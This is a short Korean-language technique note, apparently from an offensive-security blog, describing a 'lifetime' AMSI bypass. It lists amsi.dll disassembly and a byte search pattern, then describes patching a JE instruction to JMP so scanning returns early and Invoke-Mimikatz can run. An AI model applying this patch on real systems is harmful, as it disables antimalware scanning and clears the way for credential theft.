
Lifetime AMSI bypass
우리는 각 명령어의 첫 번째 바이트를 검색하여 점프 명령어의 정확한 주소를 얻습니다. 이 기술은 대상 데이터 세트가 업데이트되거나 수정되더라도 효과적입니다.
예를 들어 :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
검색 패턴은 다음과 같습니다:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

프로그램은 RDX의 값을 그 자체와 비교합니다. 비교 결과가 0이면 프로그램은 return으로 점프를 실행합니다. 그렇지 않으면 프로그램은 다음 명령어를 평가합니다.

"Invoke-Mimikatz"를 실행할 수 없습니다.

첫 번째 바이트를 패치하여 JE에서 JMP로 변경함으로써 바로 반환되도록 합니다.


이제 "Invoke-Mimikatz"를 실행합니다.
